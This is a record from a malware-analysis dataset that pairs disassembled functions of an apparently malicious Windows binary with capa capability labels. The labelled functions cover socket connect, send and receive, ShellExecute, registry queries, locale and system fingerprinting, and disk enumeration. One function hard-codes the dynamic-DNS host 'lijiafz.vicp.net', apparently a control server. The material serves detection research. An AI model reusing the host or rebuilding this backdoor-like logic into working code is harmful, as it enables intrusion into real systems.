joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403750
Capabilities:
Set socket configuration

Disassembly:
push 0xffffffffffffffff
push 0x40b458
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
call fcn.00404180
push str.lijiafz.vicp.net
mov ecx, 0x40fcd0
call fcn.004085f4
push 0x40fcd0
call fcn.00403660
mov eax, dword [0x40fcd0]
add esp, 4
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4037b1
mov ecx, edi
call fcn.004038b0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
push 0x40fcd0
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
push 0
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::GetBuffer
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
mov ebx, eax
call sub.MFC42.DLL_CString::ReleaseBuffer
push edi
lea esi, [edi + 0x6c]
push 0x403880
push 0
push 1
mov ecx, esi
call fcn.00405a90
test eax, eax
je 0x40381c
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
push ebx
call sub.WSOCK32.dll_inet_addr
mov ecx, edi
mov ebx, eax
call fcn.004048b0
mov edx, dword [esi]
push eax
push ebx
mov ecx, esi
call dword [edx + 0xc]
test eax, eax
je 0x403848
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov ecx, edi
call fcn.004038b0
jmp 0x40384f
mov ecx, edi
call fcn.00404380
lea ecx, [esp + 0xc]
mov esi, eax
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x404270
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40b56f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
lea ecx, [esp]
mov dword [esp + 4], 0
call fcn.004084c2
push 0
mov dword [esp + 0x28], 1
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 8]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x40433e
mov ecx, dword [esp + 0x17]
mov edx, dword [esp + 0x16]
mov eax, dword [esp + 0x15]
and ecx, 0xff
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xff
and eax, 0xff
push edx
mov edx, dword [esp + 0x1b]
and ecx, 0xff
push eax
mov eax, dword [esp + 0x1e]
push ecx
mov ecx, dword [esp + 0x21]
and edx, 0xff
and eax, 0xff
push edx
mov edx, dword [esp + 0x24]
and ecx, 0xff
push eax
mov eax, dword [esp + 0x26]
push ecx
mov ecx, dword [esp + 0x28]
and edx, 0xff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x28]
and ecx, 0xffff
push eax
push ecx
push edx
lea eax, [esp + 0x2c]
push str._08X__04X__04X__02X_02X__02X_02X_02X_02X_02X_02X
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x34
push esi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, dword [esp + 0x30]
push 0x1c
push esi
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Left
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x28], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret
Function at 0x404c70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b640
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], esp
push 0x40f36c
push 0x40fd60
push eax
mov dword [ebp - 4], 0
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405510
Capabilities:
Set socket configuration

Disassembly:
push 0xffffffffffffffff
push 0x40b6f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
call fcn.00405710
push 0x40fccc
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
push 0
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::GetBuffer
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
mov ebx, eax
call sub.MFC42.DLL_CString::ReleaseBuffer
push esi
lea edi, [esi + 0x60]
push 0x405640
push 0
push 1
mov ecx, edi
call fcn.00405a90
test eax, eax
je 0x40559b
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
push ebx
call sub.WSOCK32.dll_inet_addr
mov edx, dword [edi]
push 0x162e
push eax
mov ecx, edi
call dword [edx + 0xc]
test eax, eax
je 0x40560e
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 8]
mov eax, dword [0x40f930]
cmp eax, 1
jle 0x4055e9
mov ecx, dword [0x40fd94]
dec eax
cmp ecx, eax
jge 0x4055df
mov eax, ecx
mov ecx, esi
inc eax
mov dword [0x40fd94], eax
call fcn.00405510
jmp 0x405615
mov dword [0x40fd94], 0
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
mov ecx, esi
call fcn.00405800
lea ecx, [esp + 0xc]
mov esi, eax
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x408bc0
Capabilities:
Initialize winsock library

Disassembly:
mov eax, dword [0x40fe54]
sub esp, 0x190
test eax, eax
jne 0x408c19
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x408bed
or eax, 0xffffffff
add esp, 0x190
ret
push str.TRANSPORT_CLIENT_TABLE
push 0x1c
mov ecx, 0x40fdb8
call fcn.00409aa0
push str.TRANSPORT_SERVER_TABLE
push 0x1c
mov ecx, 0x40fe08
call fcn.00409aa0
mov dword [0x40fe54], 1
xor eax, eax
add esp, 0x190
ret
Function at 0x408fa3
Capabilities:
Connect socket

Disassembly:
sub esp, 0x10
push esi
mov esi, ecx
cmp dword [esi], 0xffffffff
jne 0x408fb5
or eax, 0xffffffff
pop esi
add esp, 0x10
ret 4
mov eax, dword [esp + 0x18]
xor edx, edx
mov dword [esp + 6], edx
mov word [esp + 4], 2
mov cx, word [eax + 4]
mov eax, dword [eax]
mov dword [esp + 0xa], edx
push ecx
mov dword [esp + 0x12], edx
mov dword [esp + 0xc], eax
mov word [esp + 0x16], dx
call dword [sym.imp.WSOCK32.dll_htons]
mov edx, dword [esi]
lea ecx, [esp + 4]
push 0x10
push ecx
push edx
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
inc eax
pop esi
neg eax
sbb eax, eax
neg eax
dec eax
add esp, 0x10
ret 4

Function at 0x409010
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
cmp eax, 0xffffffff
push edi
je 0x409091
mov ebx, dword [ecx]
cmp ebx, 0xffffffff
je 0x409091
mov ebp, dword [esp + 0x18]
test ebp, ebp
je 0x409091
mov edi, dword [esp + 0x1c]
test edi, edi
jbe 0x409091
mov ecx, dword [ecx + 4]
cmp ecx, 1
je 0x409053
cmp ecx, 2
jne 0x409091
push eax
mov ecx, 0x40fe08
call fcn.00409d80
test eax, eax
je 0x409091
mov ebx, dword [eax + 4]
cmp ebx, 0xffffffff
je 0x409091
xor esi, esi
mov dword [esp + 0x14], ebp
push esi
push edi
push ebp
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x409091
mov ecx, dword [esp + 0x14]
add esi, eax
add ecx, eax
cmp esi, edi
mov dword [esp + 0x14], ecx
jae 0x40909b
mov eax, edi
push 0
sub eax, esi
push eax
push ebp
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40906d
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 0xc
jne 0x409091
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x409560
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
xor edi, edi
push edi
push ebp
push ebx
push ecx
mov dword [esp + 0x24], edi
mov dword [esp + 0x20], edi
mov dword [eax], edi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
je 0x4095d5
test esi, esi
je 0x4095d5
add edi, esi
add ebx, esi
cmp edi, ebp
jae 0x4095f4
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
mov edx, eax
inc eax
cmp edx, 0xc8
mov dword [esp + 0x10], eax
jg 0x4095f4
mov ecx, dword [esp + 0x1c]
mov eax, ebp
sub eax, edi
push 0
push eax
push ebx
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
jne 0x409594
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test esi, esi
jne 0x4095e8
test eax, eax
mov eax, 0xfffffffe
je 0x4095ec
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov edx, dword [esp + 0x28]
xor eax, eax
mov dword [edx], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x404b9c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00407010
test esi, esi
jne 0x404bd2
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00407198
jmp 0x404bf0
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00404a80
mov edi, eax
test esi, esi
je 0x404bf0
cmp dword [ebx], 0
je 0x404bf0
dec esi
jmp 0x404bd9
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x404c24
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x649008], 0x8088405
inc edx
mov dword [ebx + 0x649008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x405c8c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00406084
mov byte [esp], al
cmp byte [esp], 0
jne 0x405e18
test edi, edi
je 0x405e18
mov byte [esp + 1], 0
test ebp, ebp
jle 0x405d4f
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
test ebp, ebp
jle 0x405d2a
cmp edi, 0xffffffff
je 0x405ceb
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x405ceb
mov byte [esp], 0
jmp 0x405e18
mov ebx, dword [esi]
cmp ebx, 1
jg 0x405d2a
test ebx, ebx
jne 0x405d20
mov eax, esi
xor ecx, ecx
mov edx, 1
call fcn.004029f8
test eax, eax
jne 0x405d20
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x405e18
call 0x4061a8
dec ebp
test ebp, ebp
jg 0x405cd0
cmp edi, 0xffffffff
je 0x405d4f
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x405d4d
mov byte [esp], 0
jmp 0x405e18
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x405c9a
lea edx, [ebx + 2]
mov eax, esi
mov ecx, ebx
call fcn.004029f8
cmp ebx, eax
jne 0x405d4f
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00405e88
mov edx, eax
mov ebx, dword [0x65c8f8]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x405db6
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x405db4
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x405db6
xor edi, edi
cmp byte [esp], 0
je 0x405ddf
mov ebx, dword [esi]
test bl, 1
jne 0x405df8
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, esi
mov ecx, ebx
call fcn.004029f8
cmp ebx, eax
jne 0x405dbc
mov byte [esp + 1], 1
jmp 0x405df8
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, esi
mov ecx, ebx
call fcn.004029f8
cmp ebx, eax
jne 0x405ddf
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x405d69
cmp byte [esp], 0
je 0x405e18
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x406c6c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x65c058], 0
je 0x406cd3
cmp word [0x65c344], 0xd7b2
jne 0x406c95
cmp dword [0x65c34c], 0
jbe 0x406c95
mov eax, 0x65c340
call dword [0x65c35c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x406d00
call fcn.0040797c
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x649032], 0
jne 0x406cef
push 0
push 0x6499c2
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x406ecc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x649034], 0
je 0x406ef7
mov edx, edi
mov eax, esi
call dword [0x649034]
mov ebx, eax
jmp 0x406f08
mov eax, 8
call fcn.00404774
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x65c059], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x406e94
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x406f3d
mov edx, 8
mov eax, ebx
call fcn.00404790
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x409cdc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x409e41
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00407010
cmp si, word [0x649a00]
jb 0x409d74
cmp si, word [0x649c00]
ja 0x409d74
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x409d74
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x649a00]
jae 0x409d4e
mov edi, ebx
dec edi
jmp 0x409d6f
cmp si, word [ebx*8 + 0x649a00]
jbe 0x409d5e
inc ebx
mov dword [ebp - 8], ebx
jmp 0x409d6f
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x649a04]
call fcn.00409bec
jmp 0x409d74
cmp edi, dword [ebp - 8]
jae 0x409d38
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x409e23
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x409e23
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040800c
push dword [ebp - 0x160]
push 0x409e5c
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040800c
push dword [ebp - 0x164]
push 0x409e6c
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040800c
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.00408244
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409e48
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00407070
ret
Function at 0x409ff4
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40a0f7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x65eb88
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x65eba0]
jne 0x40a040
mov eax, esi
mov edx, 0x65eba2
mov ecx, 0x55
call fcn.0040800c
push 0x65eb88
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40a0e1
push 0x65eb88
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.00407010
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40a0af
cmp byte [0x65eb84], 0
je 0x40a074
mov edx, esi
mov eax, ebx
call fcn.00409ed8
jmp 0x40a0af
mov edx, esi
mov eax, ebx
call fcn.00409cdc
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40a0af
cmp dword [esi], 0
je 0x40a098
mov eax, esi
mov edx, 0x40a110
call fcn.00408164
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.00409cdc
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.00408164
push 0x65eb88
call sub.kernel32.dll_EnterCriticalSection
mov word [0x65eba0], bx
push 0xaa
mov eax, dword [esi]
call fcn.00407f68
push eax
push 0x65eba2
call sub.kernel32.dll_lstrcpynW
push 0x65eb88
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a0fe
lea eax, [ebp - 4]
call fcn.00407010
ret
Function at 0x40a32c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004070f4
xor eax, eax
push ebp
push 0x40a551
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x40a36c
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x40a386
push 0x105
mov eax, dword [ebp - 4]
call fcn.00407f68
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.kernel32.dll_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x40a53b
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40a560
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40a455
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40a560
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40a455
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40a59c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40a455
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40a59c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40a455
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40a5d0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40a455
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40a604
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x40a53b
xor eax, eax
push ebp
push 0x40a534
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040a138
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40a4c4
mov eax, dword [ebp - 0x10]
call fcn.00404774
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00407fd0
jmp 0x40a50f
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x40a644
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40a50f
mov eax, dword [ebp - 0x10]
call fcn.00404774
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x40a644
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00407fd0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a53b
cmp dword [ebp - 8], 0
je 0x40a52a
mov eax, dword [ebp - 8]
call fcn.00404790
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a558
lea eax, [ebp - 4]
call fcn.00407010
ret
Function at 0x40a834
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004070f4
xor eax, eax
push ebp
push 0x40a8f4
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040800c
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004081bc
mov eax, dword [ebx]
call fcn.0040a6fc
test al, al
jne 0x40a8d1
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040800c
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004081bc
mov eax, dword [ebx]
call fcn.0040a6fc
test al, al
jne 0x40a8d1
mov eax, ebx
call fcn.00407010
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a8fb
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00407070
lea eax, [ebp - 4]
call fcn.00407010
ret

Function at 0x40b2ec
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x41efe4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x41f10d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x218]
push eax
push 0x104
call sub.kernel32.dll_GetLogicalDriveStringsW
mov esi, eax
test esi, esi
jle 0x41f0e7
lea ebx, [ebp - 0x218]
lea eax, [ebx + 4]
mov word [eax], 0
push 0x104
lea eax, [ebp - 0x424]
push eax
push ebx
call sub.kernel32.dll_QueryDosDeviceW
mov esi, eax
test esi, esi
jle 0x41f0d0
lea eax, [ebp - 4]
lea edx, [ebp - 0x424]
mov ecx, 0x106
call fcn.0040800c
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004084d8
test eax, eax
jle 0x41f0d0
mov eax, dword [ebp - 4]
test eax, eax
je 0x41f084
sub eax, 4
mov eax, dword [eax]
mov esi, eax
mov edi, dword [ebp - 8]
test edi, edi
je 0x41f092
sub edi, 4
mov edi, dword [edi]
lea eax, [ebp - 0x428]
push eax
mov ecx, edi
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 8]
call fcn.0040832c
mov eax, dword [ebp - 0x428]
push eax
lea eax, [ebp - 0x42c]
mov edx, ebx
call fcn.00407fd0
mov edx, dword [ebp - 0x42c]
mov eax, dword [ebp - 0xc]
pop ecx
call fcn.004081bc
jmp 0x41f0e7
add ebx, 2
cmp word [ebx], 0
jne 0x41f0cd
add ebx, 4
test ebx, ebx
je 0x41f0e1
cmp word [ebx], 0
jne 0x41f036
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41f114
lea eax, [ebp - 0x42c]
mov edx, 2
call fcn.00407070
lea eax, [ebp - 4]
call fcn.00407010
ret